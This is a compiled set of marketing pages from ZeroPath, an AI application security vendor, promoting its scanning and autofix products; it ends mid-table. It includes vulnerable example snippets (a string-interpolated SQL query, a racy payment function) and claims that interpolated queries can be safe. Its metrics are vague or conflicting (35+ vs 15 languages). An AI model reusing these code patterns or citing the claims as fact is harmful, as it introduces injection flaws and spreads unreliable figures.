# ZeroPath - AI-Powered Application Security Platform > ZeroPath is an AI-native application security platform that finds more vulnerabilities with fewer false positives. Trusted by engineering teams to secure code without slowing down development. ## Executive Summary ZeroPath revolutionizes application security by combining advanced AI with deep code analysis. Our platform helps development teams ship secure code faster by dramatically reducing false positives while catching critical vulnerabilities that traditional tools miss. **Key Benefits:** - 🎯 Reduced false positives through AI-powered analysis - ⚡ Fast scanning for large codebases - 🔍 Deep vulnerability detection including business logic flaws - 🛠️ One-click fixes for security issues ## Why ZeroPath? ### The Problem We Solve Traditional security tools generate overwhelming noise with false positives, causing developer fatigue and slowing releases. Meanwhile, they miss critical logic flaws and business logic vulnerabilities that lead to breaches. ### Our Solution ZeroPath's AI understands code context and developer intent, dramatically reducing false positives while catching sophisticated vulnerabilities like authentication bypasses, race conditions, and business logic flaws that rule-based tools miss. ## Core Products & Solutions ### SAST (Static Application Security Testing) Deep semantic analysis across 35+ languages and frameworks **Features:** - AI-powered vulnerability detection with context-aware scanning - Real-time security feedback in IDEs and pull requests - Support for: Python, JavaScript, TypeScript, Java, C#, Go, Ruby, PHP, Swift, Kotlin, Rust, Nim, and more - Best-in-class detection rates with lowest false positive rates **Key Metrics:** - False positive reduction: **Significant** - Languages supported: **35+** - Scan time: **Fast** ### SAST Autofix One-click AI-generated fixes for security vulnerabilities **Features:** - Context-aware patches that maintain code functionality - Automated pull request generation with security fixes - Reduces remediation time from hours to seconds - Natural language refinement in PR comments - Centralized management for Snyk, Semgrep, Checkmarx, SonarQube, Veracode, Fortify, and Synopsys **Key Metrics:** - Fix generation: **Automated** - Fix accuracy: **High** - Tools supported: **7+** ### Software Composition Analysis (SCA) Comprehensive dependency scanning across all major package ecosystems **Features:** - Exploitability analysis to determine actual risk - AI-assessed CVSS 4.0 scores based on your specific usage - Package ecosystems: npm, PyPI, Maven, RubyGems, NuGet, Go modules, Cargo, Composer, Docker/OCI - Real-time vulnerability monitoring with 24/7 alerts - SBOM export in CycloneDX format - 90% noise reduction with usage-based risk analysis **Key Metrics:** - Noise reduction: **Significant** - Package ecosystems: **35+** - Vulnerability updates: **Real-time** ### End-of-Life Detection Track deprecated components before they become security risks **Features:** - Operating Systems: Ubuntu, RHEL, CentOS, Debian, Alpine, container base images - Languages & Runtimes: Python, Node.js, Ruby, Java, PHP, Go, .NET versions - Frameworks: Rails, Django, Spring, and 35+ other technologies - Database and infrastructure component monitoring - Configurable alert timelines (3-24 months advance notice) - AI-generated migration paths with effort estimation **Key Metrics:** - Technologies tracked: **Thousands** - Advance notice: **Months ahead** - Migration assistance: **AI-powered** ### Secret Detection Identify exposed credentials, API keys, and tokens **Features:** - Support for 700+ secret patterns - Custom pattern definition for proprietary secrets - Historical scanning to find secrets in git history - Automated remediation workflows - AI false positive reduction for test credentials - Risk-based prioritization with CVSS 4.0 scoring **Key Metrics:** - Secret patterns: **700+** - False positive reduction: **AI-powered** - Detection speed: **Real-time** ### Infrastructure as Code (IaC) Security Scan Terraform, CloudFormation, Kubernetes, Helm configurations **Features:** - 500+ built-in security policies - Detect misconfigurations before deployment - Policy-as-code enforcement - Cloud provider best practices: AWS, Azure, GCP - Compliance checking: SOC2, HIPAA, PCI-DSS, ISO 27001 - Support for ARM Templates, Kubernetes YAML, Dockerfiles, Kustomize **Key Metrics:** - Security policies: **500+** - Cloud platforms: **AWS, Azure, GCP** - Compliance frameworks: **Multiple** ### AI Code Review Automated security review for every pull request **Features:** - Context-aware analysis understanding code intent - Reduced false positives through semantic understanding - Integration with existing review workflows - Custom security policy enforcement - Business logic and authorization flaw detection - Comprehensive detection: secrets, IaC, SCA, SAST issues in one place **Key Metrics:** - Review speed: **Fast** - Pre-merge detection: **Comprehensive** - Developer experience: **Seamless** ### Policy Engine Define custom security policies in natural language **Features:** - Natural language policy definition - Automated enforcement across repositories - Risk scoring and prioritization - Compliance reporting and audit trails - Role-based access control - Custom code quality and security standards ### Security Analytics & Risk Management Track remediation times, vulnerability trends, and team performance **Features:** - Git blame integration for vulnerability attribution - Team and developer analytics - MTTR tracking and performance metrics - AI-powered CVSS 4.0 scoring - PDF and DOCX report generation - Jira and Linear two-way sync **Key Metrics:** - MTTR improvement: **Significant** - Tracking accuracy: **High** - Report formats: **Multiple** ## Product Pages (Detailed) ## Solutions & Use Cases ### AI Application Security (AI AppSec) **URL**: https://zeropath.com/solutions/ai-appsec ## What is AI Application Security? AI Application Security (AI AppSec) represents the next evolution in code security. Instead of relying on predefined patterns and rules, AI-powered security tools understand your code's context, business logic, and actual intent. This means fewer false positives, more accurate vulnerability detection, and patches that actually work. ZeroPath leverages AI to: - Understand complex code relationships across your entire codebase - Generate precise, context-aware security patches - Reduce false positives by over 75% compared to traditional SAST - Detect business logic flaws that require human-like reasoning - Automatically triage and assign vulnerabilities to the right developers ## How AI Transforms Application Security ### Contextual Code Understanding Traditional SAST tools see this: ```javascript const query = `SELECT * FROM users WHERE id = ${userId}`; ``` And flag it as SQL injection. Every time. Even when userId is validated, sanitized, and comes from a trusted source. ZeroPath's AI sees the complete picture: - Where userId originates (JWT token, user input, internal system) - What validation happens before this line - Whether the database driver auto-escapes this pattern - The actual exploitability in your specific context Result: Real vulnerabilities get flagged. False positives don't. ### Intelligent Vulnerability Detection Our AI-powered analysis finds vulnerabilities that require understanding, not just pattern matching: **Business Logic Flaws**: A discount system that allows negative prices when coupons are applied in a specific order. Traditional tools can't understand business rules. AI can. **Complex Authorization Bugs**: An admin check that only works for the primary tenant in a multi-tenant application. This requires understanding application architecture, not just code syntax. **Race Conditions**: Timing vulnerabilities in payment processing that could allow double-spending. AI analyzes execution paths and state management across multiple components. **Modern Attack Vectors**: From prompt injection in LLM integrations to SSRF in microservices architectures, AI adapts to new vulnerability classes automatically. ### Automated Security Engineering When ZeroPath finds a vulnerability, our AI doesn't just point at the problem. It solves it: ```python # Vulnerable code def process_payment(amount, user_id): if check_balance(user_id) >= amount: deduct_balance(user_id, amount) return "Success" # AI-generated patch def process_payment(amount, user_id): with transaction.atomic(): # AI adds transaction safety current_balance = check_balance(user_id) if current_balance >= amount: # AI recognizes race condition potential if deduct_balance_atomic(user_id, amount, expected_balance=current_balance): return "Success" else: return "Transaction failed: Balance changed" ``` The AI understands the race condition risk and generates a complete fix using your framework's patterns. ## Real-World AI AppSec in Action ### Financial Services Company A major fintech used ZeroPath's AI-powered platform on their payment infrastructure: - **SAST**: Found 12 business logic flaws that traditional tools missed - **SCA**: AI reachability analysis showed only 3 of 47 flagged CVEs were actually exploitable - **IaC**: Discovered overly permissive S3 buckets but intelligently ignored intended public assets - **Secrets**: Found leaked API keys while filtering out 200+ false positives from public identifiers Result: 95% reduction in security noise, 20 hours/week saved on triage ### Healthcare Platform AI-powered scanning across their entire stack revealed: - **SAST**: Complex authorization bypasses spanning multiple microservices - **SCA**: Critical vulnerability in image processing library actually used in patient data handling - **IaC**: HIPAA compliance issues in cloud configurations with AI-prioritized fixes - **Combined**: AI correlated findings to show how an IaC misconfiguration could amplify a code vulnerability All issues came with working patches and accurate severity scores based on actual risk. ### E-commerce Giant ZeroPath's AI discovered that their pricing engine could be manipulated through a specific API sequence. The AI: - Understood the intended business logic - Identified the implementation gap - Generated a comprehensive fix maintaining backward compatibility - Suggested additional test cases to prevent regression ## Why AI-Powered Security Matters ### Intelligent Noise Reduction The biggest complaint about security tools? Too many false positives. ZeroPath's AI changes that:

SCA Without AI

"You have 500 vulnerable dependencies!"

SCA With AI

"You have 12 exploitable vulnerabilities in code paths you actually use"

IaC Without AI

"223 misconfigurations found!"

IaC With AI

"7 critical misconfigurations that expose production data"

SAST Without AI

"Potential SQL injection on line 1,847"

SAST With AI

"No risk. Input is pre-validated and query is parameterized"

AI understands context across your entire stack to show what actually matters. ### Scale Without Sacrificing Quality Manual code review doesn't scale. Traditional tools generate too much noise. AI-powered security gives you: - Comprehensive analysis of million-line codebases - Consistent, high-quality findings across SAST, SCA, IaC, and secrets - Automatic prioritization based on actual risk, not generic severity - Security expertise encoded in every scan ### Adapt to Your Codebase Every codebase is unique. ZeroPath's AI learns your: - Coding patterns and conventions - Framework-specific security controls - Custom authentication and authorization logic - Business-specific security requirements This means patches that look like your team wrote them and findings relevant to your actual architecture. ### Keep Pace with Modern Development New frameworks, libraries, and attack vectors emerge constantly. AI-powered security: - Understands new code patterns without rule updates - Detects novel vulnerability classes - Generates fixes using the latest framework features - Adapts to your evolving architecture ## Comprehensive Security Coverage ### What ZeroPath's AI Finds

Traditional Vulnerabilities (SAST)

Dependency Vulnerabilities (SCA)

Infrastructure Security (IaC)

Secrets & Credentials

Complex Security Issues

Modern Threats

### How AI Makes the Difference For each finding across SAST, SCA, IaC, and secrets detection, ZeroPath's AI: - Determines actual exploitability in your specific context - Calculates accurate CVSS scores based on your architecture - Filters out false positives before they waste developer time - Generates context-aware fixes that work in your codebase Example: A critical CVE in a logging library might be marked as low severity by AI because it's only used in test code. A medium severity misconfiguration might be elevated to critical because AI understands it exposes your payment processing service. ## Developer-First AI Security ### Centralized Security with AI Enhancement Already using other security tools? ZeroPath's AI makes them better. Import findings from Semgrep, Snyk, Checkmarx, SonarQube, Veracode, Fortify, or Synopsys and our AI will: - Validate findings to eliminate false positives - Generate working patches for valid vulnerabilities - Provide consistent severity scoring across all tools - Create a unified security dashboard Stop drowning in alerts from multiple tools. Let AI filter, validate, and fix. ### Natural Language Security Policies Tell ZeroPath what matters in plain English: - "Flag any API endpoint that doesn't check user permissions" - "Alert on database queries constructed from user input" - "Find payment processing without proper transaction handling" - "Check that all password resets have rate limiting" AI translates these into comprehensive security analysis across your entire codebase. ### Intelligent Developer Workflow AI powers every step of the security process: 1. **Smart Attribution**: Vulnerabilities automatically assigned to the developer who introduced them 2. **Contextual Explanations**: AI explains vulnerabilities in terms of your specific code 3. **Interactive Remediation**: Ask follow-up questions about any finding 4. **Automated Testing**: AI generates test cases for security fixes ### Learn While You Code Each AI-generated finding includes: - Why this pattern is vulnerable in your context - How attackers could exploit it - Best practices for your specific framework - Similar patterns to watch for Security education built into your daily workflow. ## Getting Started with AI Application Security
1

Connect Your Repository (30 seconds)

AI AppSec begins analyzing immediately:

2

See AI-Driven Insights (30 seconds)

Within seconds, get:

3

Enable Continuous AI Protection

## The Numbers That Matter
75%

fewer false positives than traditional SAST

<60s

PR scans without sacrificing depth

750+

companies trusting AI-powered security

125k+

scans monthly continuously improving our AI

Real security teams are already seeing the difference AI makes. ## Why ZeroPath for AI Application Security ### Purpose-Built for AI AppSec We didn't bolt AI onto an existing tool. ZeroPath was designed from day one to leverage AI for superior application security outcomes: - LLMs trained on millions of real vulnerabilities - AST analysis providing deep code structure understanding - Continuous learning from new vulnerability patterns - Security expertise from finding zero-days at Netflix, Hulu, and Salesforce ### Proven AI That Works Our AI has already: - Generated thousands of production-ready security patches - Reduced security review time from weeks to hours - Found business logic flaws human reviewers missed - Helped teams achieve compliance 3x faster ### Complete Platform, AI-Powered One platform for all your security needs:
**SAST** - AI eliminates false positives by understanding code context and actual exploitability **SCA** - AI analyzes dependency vulnerabilities to determine which ones actually affect your code through reachability analysis. No more fixing vulnerabilities in unused functions. **IaC Security** - AI understands your infrastructure patterns to catch real misconfigurations while ignoring acceptable variations in your environment **Secrets Detection** - AI reduces noise by understanding which exposed strings are actual secrets vs non-sensitive IDs **SBOM Generation** - Complete software composition analysis with AI-filtered insights Every scan uses AI to: - Calculate accurate severity scores based on your specific context - Filter out false positives before they reach developers - Prioritize findings by actual business risk - Generate fixes that match your coding standards
## Start Your AI Application Security Journey Join the hundreds of companies already using AI AppSec to transform their application security. See what AI-powered security can find in your code in just 60 seconds.
Schedule a Demo
### Questions about AI Application Security? Reach out to our AI AppSec team at hello@zeropath.com --- *ZeroPath: Leading AI Application Security Platform* --- ### AI-Powered Code Review **URL**: https://zeropath.com/solutions/ai-code-review ## The Challenge Manual code reviews are time-consuming and inconsistent. Security experts can't review every PR, and developers often lack deep security knowledge. Meanwhile, traditional static analysis tools generate overwhelming noise with minimal context. ## Common Pain Points & How ZeroPath Solves Them | Pain Point | How ZeroPath Solves It | |------------|------------------------| | **Security reviews bottleneck releases**
Limited security experts can't review every change | **AI-powered automated reviews**
Every PR gets expert-level security analysis in under 60 seconds | | **Reviewers miss subtle vulnerabilities**
Complex data flows and business logic issues slip through | **Deep context understanding**
AI traces data flows across files and understands business logic | | **Inconsistent review quality**
Different reviewers catch different issues | **Standardized AI analysis**
Consistent, comprehensive checks based on your security policies | | **No actionable feedback**
Developers don't know how to fix flagged issues | **One-click fixes with explanations**
AI generates secure patches and explains the vulnerability | ## How it Works

1. Analyze

AI reviews every commit, understanding code intent and security implications

2. Detect

Identifies security vulnerabilities, from OWASP Top 10 to business logic flaws

3. Explain

Provides clear explanations with proof-of-concept and impact analysis

4. Fix

Generates secure patches that match your coding standards

## Key Capabilities ### Intelligent Security Analysis - **Context-aware detection** - Understands your application's architecture and data flows - **Business logic analysis** - Catches authorization bypasses and logic flaws - **Custom policy enforcement** - Enforces your organization's security standards - **Learning from feedback** - Improves accuracy based on your team's decisions ### Developer-Friendly Integration - **PR comments with fixes** - Security feedback appears directly in pull requests - **API for custom workflows** - Integrate with your existing tools and processes - **Slack/Teams notifications** - Keep security teams informed of critical findings ### Comprehensive Coverage - **All major languages** - Support for Python, JavaScript, Java, Go, and more - **Framework-aware** - Understands React, Django, Spring, and other frameworks - **Infrastructure as Code** - Reviews Terraform, CloudFormation, and Kubernetes configs - **API security** - Analyzes REST, GraphQL, and gRPC implementations --- ### AI SAST **URL**: https://zeropath.com/solutions/ai-sast import Image from 'next/image'; ## What is AI SAST? AI-powered Static Application Security Testing (AI SAST) combines traditional code analysis with machine learning and large language models to deliver security insights that actually matter. Unlike pattern-matching tools that flood you with false positives, AI SAST understands your code's intent, architecture, and business logic.

See the Difference

Traditional SAST floods you with alerts. AI SAST shows what actually matters - real vulnerabilities with contextual understanding and actionable fixes.

ZeroPath AI SAST reducing false positives compared to traditional SAST tools
## The Problem with Traditional SAST Every security engineer knows the drill. Your SAST tool runs overnight and delivers a report with thousands of "critical" findings. You spend the next week triaging, only to discover that 95% are false positives. The real vulnerabilities? They're hiding in the noise, or worse, they're business logic flaws your tool can't even detect. Traditional SAST tools fail because they: - Rely on rigid pattern matching - Can't understand code context or business logic - Generate generic patches that break functionality - Miss modern vulnerability classes like prompt injection - Create more work than they save ## How AI SAST Changes Everything ZeroPath's AI SAST technology represents a fundamental shift in application security. By combining Abstract Syntax Tree (AST) analysis with large language models, we deliver security analysis that thinks like a senior security engineer. ### Deep Code Understanding Our AI SAST engine builds a comprehensive model of your application. Unlike pattern matching, ZeroPath understands: - How data flows through your application - Which security controls are actually effective - When business logic doesn't match implementation - Why certain code patterns are safe in your specific context ### Real Vulnerabilities, Not False Positives Traditional SAST might flag every database query as potentially vulnerable. ZeroPath's AI SAST understands when: - Queries are properly parameterized - Input validation makes exploitation impossible - Authentication checks prevent unauthorized access - Framework protections are correctly implemented
ZeroPath AI SAST contextual analysis of SQL queries showing real vs false positives

Contextual Understanding

Our AI doesn't just pattern match - it understands your entire security context. It knows when a query is safe because of upstream validation, framework protections, or proper parameterization.

Example: Traditional SAST sees string concatenation and screams "SQL injection!" Our AI sees the JWT validation, role checks, and parameterized execution that make it safe.

## AI SAST in Action ### Business Logic Detection A major e-commerce platform discovered their checkout system could be exploited to create negative prices by applying discounts in a specific sequence. Traditional SAST missed this completely because it required understanding business rules, not just code patterns. ZeroPath's AI SAST found it in minutes. ### Modern Threat Detection As LLMs become integrated into applications, new vulnerability classes emerge. ZeroPath's AI SAST already detects: - Prompt injection vulnerabilities - Unsafe LLM response handling - Token leakage in AI integrations - Model manipulation attacks ### Intelligent Patch Generation Finding vulnerabilities is only half the battle. ZeroPath's AI SAST generates contextually-aware patches that: - Respect your coding standards - Preserve existing functionality - Include proper error handling - Match your application's patterns
ZeroPath AI SAST generating intelligent security patches with context-aware fixes

Instant Fixes

One-click patches that actually work in your codebase

Code-Aware

Matches your coding style and patterns perfectly

Safe Changes

Preserves functionality while fixing security issues

## AI DevSecOps Tools Integration ZeroPath isn't just another tool in your stack. It's the intelligence layer that makes your entire DevSecOps pipeline smarter. ### Transform Your Existing SAST Tools Already using Semgrep, Snyk, or Checkmarx? ZeroPath's AI enhances their output: 1. **Import findings** from any major SAST tool 2. **AI validation** eliminates false positives 3. **Automatic patches** for real vulnerabilities 4. **One-click fixes** that actually work

5,000 → 127

That's the typical reduction when ZeroPath's AI processes your existing SAST findings.

  • âś“ Real vulnerabilities identified with context
  • âś“ Automatic patches for every finding
  • âś“ Hours of triage reduced to minutes
ZeroPath dashboard showing consolidated SAST findings with AI-powered triage and remediation
### Seamless CI/CD Integration - **Sub-60 second PR scans** that don't block deployments - **Automatic issue attribution** to the right developer - **Natural language security policies** anyone can write - **Break-glass access** for emergency deployments
ZeroPath AI SAST integration in GitHub pull requests with inline security feedback

Shift Left, Without the Friction

Security feedback right in the PR. Developers fix issues before they merge, not months later in production.

<60s
Scan time
### Developer-First Security Security tools traditionally create friction. ZeroPath's AI DevSecOps approach accelerates development: - **Q&A with findings**: "Why is this vulnerable?" "How could this be exploited?" - **Custom rule creation**: "Flag any API endpoint without rate limiting" - **Learning mode**: Developers improve their security knowledge through intelligent feedback ### Speak Security, Not Regex Security tools traditionally create friction. ZeroPath's AI DevSecOps approach accelerates development: - **Q&A with findings**: "Why is this vulnerable?" "How could this be exploited?" - **Custom rule creation**: "Flag any API endpoint without rate limiting" - **Learning mode**: Developers improve their security knowledge through intelligent feedback
ZeroPath natural language interface for security policy creation and Q&A

Ask Questions

Get explanations in plain English about vulnerabilities and fixes

Custom Rules

Create security policies without regex knowledge

Learn As You Go

Build security expertise through intelligent feedback

## Industry-Specific AI SAST Solutions

Financial Services

Healthcare

SaaS & Technology

## The ZeroPath Advantage ### Speed Meets Accuracy - **750+ companies** trust ZeroPath - **125,000+ scans** performed monthly - **<60 second** PR scan time ### Comprehensive Coverage - **15 languages** supported - **Business logic** vulnerability detection - **Modern threats** like prompt injection - **Zero-day discoveries** at Netflix, Hulu, and Salesforce ### Enterprise Ready - **1-minute setup** for any size organization - **Multi-VCS support** (GitHub, GitLab, Bitbucket, Azure) - **Enterprise SSO** and audit logs - **Team-based permissions** and controls ## Getting Started with AI SAST

1. Connect Repository

Link your VCS with one-click OAuth integration

30 seconds

2. Run AI Scan

See real vulnerabilities, not false positives

30 seconds

3. Apply Fixes

One-click patches that respect your codebase

Instant

## The Future of Application Security AI SAST isn't just an incremental improvement. It's a paradigm shift in how we approach code security. As development accelerates and applications grow more complex, security tools must evolve beyond pattern matching to true code comprehension. ZeroPath is leading this evolution. Our AI SAST platform doesn't just find vulnerabilities; it understands your code, generates fixes, and helps your team build more secure applications from the ground up. ## Start Your AI SAST Journey Join the 750+ companies already using ZeroPath to transform their application security. See why developers love our approach and security teams trust our results. **[Schedule a demo](https://cal.com/zeropath/30)** to see AI SAST in action on your own code. --- ### Resources - [Technical Deep Dive: How ZeroPath's AI SAST Works](https://zeropath.com/blog/how-zeropath-works) - [API Documentation](https://zeropath.com/docs) - [CLI Tool for CI/CD Integration](https://github.com/ZeroPathAI/zeropath-cli) ### Questions? Contact our team at hello@zeropath.com --- ### API Security **URL**: https://zeropath.com/solutions/api-security ## The Challenge APIs can change with every deployment, and all of it has to remain indexed. Adopting specific frameworks can help impose structure, but what about legacy code or shadow endpoints that eschew those policies? In a large organization with diverse applications, keeping a good overview of your current API posture often means either imposing bureaucratic structure on your developers or requiring security engineers to sift through documentation and code on their own time. ## Common Pain Points & How ZeroPath Solves Them | Pain Point | How ZeroPath Solves It | |------------|------------------------| | **No single system for organizing and registering endpoints** | **LLMs crawl your codebase for input handlers** | **Static SASTs have no visibility or understanding of auth** | **Universal business logic and authentication scanning** | **Static scanners see code but ignore live request paths** | **Source-to-sink analysis links route definitions to handler logic** | | **Security teams sift through piles of false positives** | **Reachability checks hide unreachable endpoints and unused functions** | ## How it Works

1. Discover

Automatically map all API endpoints across REST, GraphQL, gRPC, and WebSockets

2. Analyze

Trace data flows from endpoint to database, understanding authentication and authorization

3. Detect

Identify OWASP API Top 10 vulnerabilities and business logic flaws

4. Protect

Generate fixes and update API documentation automatically

## Key Capabilities ### API-Focused Features - **Automatic discovery** of REST, GraphQL, gRPC, and WebSocket routes - **Data-flow tracing** that surfaces broken auth, business logic flaws, injection issues, and SSRF - **Secret detection** for leaked tokens and keys used in API calls - **Instant Swagger and OpenAPI spec export** to keep docs in sync with reality ### Advanced Security Detection - **Broken Object Level Authorization (BOLA)** - Detect when users can access resources they shouldn't - **Broken Function Level Authorization** - Find admin endpoints exposed to regular users - **Mass Assignment vulnerabilities** - Identify when APIs accept unexpected parameters - **Rate limiting analysis** - Ensure proper throttling on sensitive endpoints - **Input validation gaps** - Catch missing sanitization before data hits your database ### Developer-Friendly Integration - **Pull request comments** - Security feedback appears directly where developers work - **API security scorecard** - Track security posture improvement over time - **Postman collection generation** - Export secure API test suites - **CI/CD pipeline integration** - Block deployments with critical API vulnerabilities --- ### Application Security **URL**: https://zeropath.com/solutions/application-security ## The Challenge Picture a typical sprint: a PR lands ten minutes before cut-off. Your scanner flags 3 items, two of them false. The team rolls the dice and deploys. Six months later Incident Response is on the call. ZeroPath rewrites that story: an on-push scan runs in under 60 seconds, returns only three exploitable issues, and supplies ready-to-merge patches that match your code style. ## Common Pain Points & How ZeroPath Solves Them | Pain Point | How ZeroPath Solves It | |------------|------------------------| | **Legacy scanners flood developers with noise**
Teams ignore security alerts due to false positive fatigue | **92% alert reduction**
AI-powered analysis shows only real, exploitable vulnerabilities | | **Security fixes break functionality**
Generic patches don't understand your codebase | **Context-aware autopatch**
Generates fixes that match your code style and preserve functionality | | **Vulnerabilities discovered too late**
Finding issues in production is expensive and risky | **Shift-left security**
Sub-minute scans catch issues at commit time, not deployment | | **Developers lack security expertise**
Not everyone knows how to fix complex vulnerabilities | **Built-in security guidance**
Clear explanations and one-click fixes empower every developer | ## How it Works

1. Scan

Real context SAST detects SQLi, XSS, SSRF, broken authN/authZ, and business logic issues

2. Prioritize

AI scores issues based on CVSS 4.0, considering entire context to prevent wasted developer time

3. Fix

Autopatch generates a secure diff in your branch that matches your coding standards

4. Verify

Fail-safe CI blocks until vulnerability is verified as fixed (with audited break-glass option)

## Key Capabilities ### Comprehensive Security Coverage - **Real context SAST** - Ability to detect SQLi, XSS, SSRF, broken authN/authZ, and business logic issues - **Credential guard** - Detects hard-coded keys and leaked tokens the moment they appear - **Dependency analysis** - Identifies vulnerable libraries and suggests secure alternatives - **Infrastructure as Code** - Secures Terraform, CloudFormation, and Kubernetes configurations ### Developer Experience - **Pull request automation** - Security reviews happen automatically on every PR - **Clear remediation guidance** - Understand why something is vulnerable and how to fix it - **Learning mode** - Improves accuracy based on your team's feedback - **Less noise** - 80% lower false positive rate than traditional alternatives ### Enterprise Features - **Custom policy enforcement** - Implement your organization's specific security requirements - **Compliance reporting** - Track SOC2, PCI-DSS, and other compliance requirements - **Security metrics dashboard** - Measure and improve your security posture over time - **Role-based access control** - Control who can view and override security findings --- ### Automate Compliance **URL**: https://zeropath.com/solutions/automate-compliance ## The Challenge Frameworks like SOC 2, ISO 27001, and PCI DSS expect ongoing proof of control effectiveness, not a PDF you assemble once a year. Manual compliance processes drain resources and leave gaps that auditors will find. ## Common Pain Points & How ZeroPath Solves Them | Pain Point | How ZeroPath Solves It | |------------|------------------------| | **Last-minute audit scrambles**
Teams rush to gather evidence weeks before audits | **Continuous compliance tracking**
Every scan generates fresh audit evidence automatically | | **Manual evidence collection**
Hours spent compiling spreadsheets and screenshots | **Automated evidence packs**
Schedule weekly exports to Vanta, Drata, or ServiceNow GRC | | **Control mapping confusion**
Unclear which findings map to which controls | **Control-aligned scanning**
Each finding mapped to exact control clauses | | **Data privacy compliance**
PHI/PII leaks go undetected in code | **Natural language detection**
Custom rules deployed in minutes across your organization | ## How it Works

1. Scan

SAST, SCA, secret, and IaC scans map each finding to exact control clauses

2. Track

Dashboards show MTTR, SLA breaches, and risk trends by business unit

3. Report

Schedule evidence packs with signed SBOMs and fix verification records

4. Attest

Generate audit-ready attestations with cryptographic proof of compliance

## Key Capabilities ### Control-Aligned Scanning - **SOC 2 mapping** - Direct alignment to all relevant Trust Service Criteria - **ISO 27001 coverage** - Automated evidence for Annex A controls - **PCI DSS requirements** - Continuous monitoring of Requirements 6.x - **Custom frameworks** - Map to your organization's specific controls ### Automated Evidence Collection - **Signed SBOMs** - Complete dependency tracking with cryptographic signatures - **Immutable scan logs** - Tamper-proof records with timestamps - **Fix verification** - Automated proof of remediation timelines - **Policy compliance** - Evidence of security policy enforcement ### Enterprise Organization - **Workspace isolation** - Separate environments for subsidiaries or client projects - **Granular RBAC** - Enforce least-privilege access across teams - **Multi-tenant architecture** - Secure data segregation for different business units - **Audit trails** - Complete activity logs for compliance reviews ### Data Privacy Protection - **PHI/PII detection** - Natural language rules find sensitive data patterns - **GDPR compliance** - Detect personal data processing in code - **Custom rule creation** - Deploy organization-specific rules in minutes - **Cross-repository enforcement** - Consistent privacy protection everywhere --- ### Dev and DevOps Teams **URL**: https://zeropath.com/solutions/dev-ops ## The Challenge Traditional SAST forces you to choose between speed and safety. [60% of teams say at least one-fifth of alerts are false positives](https://www.blackduck.com/blog/black-duck-devsecops-report.html) that break the build for no reason. Late findings trigger re-work that can derail sprint goals and release trains. ## Common Pain Points & How ZeroPath Solves Them | Pain Point | How ZeroPath Solves It | |------------|------------------------| | **False positives breaking builds**
Teams waste hours investigating non-issues | **LLM-driven false-positive suppression**
Pipeline fails only on issues that matter | | **Late-stage security surprises**
Critical issues found after code is in production | **Shift-left scanning in CI/CD**
Catch vulnerabilities at commit time, not release time | | **Tool sprawl slowing pipelines**
Multiple security tools add minutes to every build | **All-in-one security scanning**
SAST, SCA, secrets, IaC, custom policies, PR reviews, risk management, and autofix in a single fast scan | | **Manual remediation bottlenecks**
Security fixes block releases for days or weeks | **Auto-generated patches**
One-click fixes and Auto AppSec Mode for critical issues | ## How it Works

1. Integrate

Native CI/CD hooks for GitHub, GitLab CI, Azure, Bitbucket Pipelines and any generic runner

2. Scan

Context-aware scanning combines SAST, SCA, secrets, IaC, and policy checks in under 60 seconds

3. Fix

One-click pull request patches with Auto AppSec Mode for hands-free remediation

4. Ship

Policy-driven approvals ensure security without blocking legitimate releases

## Key Capabilities ### Native CI/CD Integration - **Zero-friction gates** exactly where you want them - **Branch protection rules** that enforce security policies - **Parallel scanning** that doesn't slow down builds - **Incremental analysis** for lightning-fast feedback ### Intelligent Alert Management - **AI-powered triage** reduces false positives by 75% - **Risk-based prioritization** focuses on what matters - **Developer-friendly context** with code examples - **Smart suppression rules** that learn from your decisions ### Automated Remediation - **One-click fixes** generated by AI that understands your codebase - **Auto AppSec Mode** opens merge-ready PRs for critical issues - **Unit test generation** ensures fixes don't break functionality - **Style-matching patches** that look like your team wrote them ### Unified Security Platform - **Single scan** for SAST, SCA, secrets, IaC, and custom policies - **Consolidated reporting** across all security domains - **Unified policy engine** for consistent enforcement - **Single pane of glass** for all security metrics ## Outcomes That Matter - **Slash MTTR** with auto-generated patches and policy-driven approvals - **Keep velocity high** - teams that find-and-fix in the same pipeline phase release 2-3Ă— faster - **Reduce context switching** with security feedback directly in your development tools - **Improve code quality** with consistent security standards across all repositories --- ### DevSecOps **URL**: https://zeropath.com/solutions/dev-sec-ops ## The Challenge Velocity defines success in DevSecOps. [36-40% of organizations still lack the in-house skills](https://www.gartner.com/en/documents/4002367) to run DevSecOps at scale, and engineers disable slow security stages first when builds threaten to exceed five minutes. Traditional security tools weren't built for the speed of modern CI/CD. ## Common Pain Points & How ZeroPath Solves Them | Pain Point | How ZeroPath Solves It | |------------|------------------------| | **Security tools killing build times**
5+ minute scans get disabled to meet SLAs | **Incremental diff scanning**
Sub-60 second scans on typical microservice commits | | **Alert fatigue from noisy tools**
Hundreds of notifications drowning real issues | **Policy-driven alerting**
Only fires when findings breach policy thresholds | | **Manual security ticket creation**
Hours wasted translating findings to actionable tasks | **Auto-AppSec mode**
Automatically raises PRs for high-severity issues | | **Lack of DevSecOps metrics**
No visibility into security impact on velocity | **Pipeline analytics**
Real-time metrics on scan duration, pass rates, and rework costs | ## How it Works

1. Incremental Scanning

Analyzes only changed code paths, completing in under 60 seconds

2. Smart Scheduling

Deep weekend scans with Auto-AppSec mode for comprehensive coverage

3. Integrated Alerting

Native integration with Slack, Teams, Jira, and Linear

4. Continuous Improvement

Analytics dashboard tracks security velocity metrics

## Key Capabilities ### Built for Speed - **Incremental analysis** scans only what changed - **Parallel processing** leverages modern CI/CD infrastructure - **Smart caching** remembers previous scan results - **Optimized algorithms** designed for microservices architecture ### Intelligent Automation - **Auto-AppSec mode** schedules deep scans during off-hours - **Automated PR creation** for high-severity findings - **Smart remediation** generates fixes that match your coding standards - **Policy-as-code** enforces security standards automatically ### Developer-Friendly Integration - **Native CI/CD support** for all major platforms - **API-first design** enables custom integrations - **GitOps compatibility** for infrastructure-as-code workflows ### Enterprise Observability - **Real-time dashboards** track security KPIs - **MTTR benchmarking** against industry standards - **Cost analysis** shows security impact on velocity - **Compliance reporting** for regulated industries ## Proven Results Teams adopting ZeroPath see: - **8-10% increase** in deployment throughput - **60% reduction** in security-related build failures - **75% faster** mean time to remediation - **75% fewer** false positive alerts --- ### Manage Enterprise AppSec Risk **URL**: https://zeropath.com/solutions/enterprise ## The Challenge [Veracode's 2025 figures place the average time to fix half of outstanding vulnerabilities at 252 days](https://www.veracode.com/press-release/public-sector-application-risk-accumulates-as-security-debt-grows-across-government-systems/) across large private-sector organizations. Security leadership needs cross-tool context and predictive insight to bend that curve. ## Common Pain Points & How ZeroPath Solves Them | Pain Point | How ZeroPath Solves It 